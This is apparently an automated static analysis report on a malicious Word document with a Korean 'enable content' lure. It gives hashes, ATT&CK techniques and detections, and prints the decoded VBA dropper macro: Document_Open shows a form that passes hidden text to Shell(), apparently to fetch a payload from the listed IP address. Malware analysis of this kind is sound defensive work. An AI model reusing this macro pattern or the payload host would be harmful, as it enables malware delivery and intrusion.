Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0aaf465a2569abb…

MALICIOUS

Office (OLE)

94.5 KB Created: 2019-06-19 16:13:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 18f8fc23c9ba39d5e6fc85195a074192 SHA-1: 3813328e505fb86bf175e6763478a944b893e138 SHA-256: d0aaf465a2569abbdcbafc049be1c1a643572f4ca185058833310435bfa53358
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that uses Shell() and CallByName to execute code. The Korean document body prompts the user to enable content, suggesting a social engineering lure. The UserForm_Activate subroutine constructs a time-based string and passes it to Shell(), likely to download and execute a second-stage payload from the unknown URL http://179.43.147.77/pm2.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6998008-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6998008-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://179.43.147.77/pm2 In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1216 bytes
SHA-256: 558f2f14b72435c7f1c1f637c8a4e4ba7e770b6acd9e2afd407ba17fa7f697cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
CallByName App1, "Show", VbMethod

End Sub

Attribute VB_Name = "App2"
Attribute VB_Base = "0{3A51BE10-1D10-4676-8755-29BCE6949829}{D2216111-4A3F-4E69-A6A3-1D50B158CC0A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "App1"
Attribute VB_Base = "0{5F42E5AF-295F-473D-9F8D-BD18367D6AEC}{B294AE94-0368-413E-BE02-85C17A9B9E13}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
On Error Resume Next
Dim time
time = Format(Now + TimeSerial(0, 0, 24), "hh:mm")


Shell Replace(App2.T3.Text, "77:77", time)
Unload Me
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.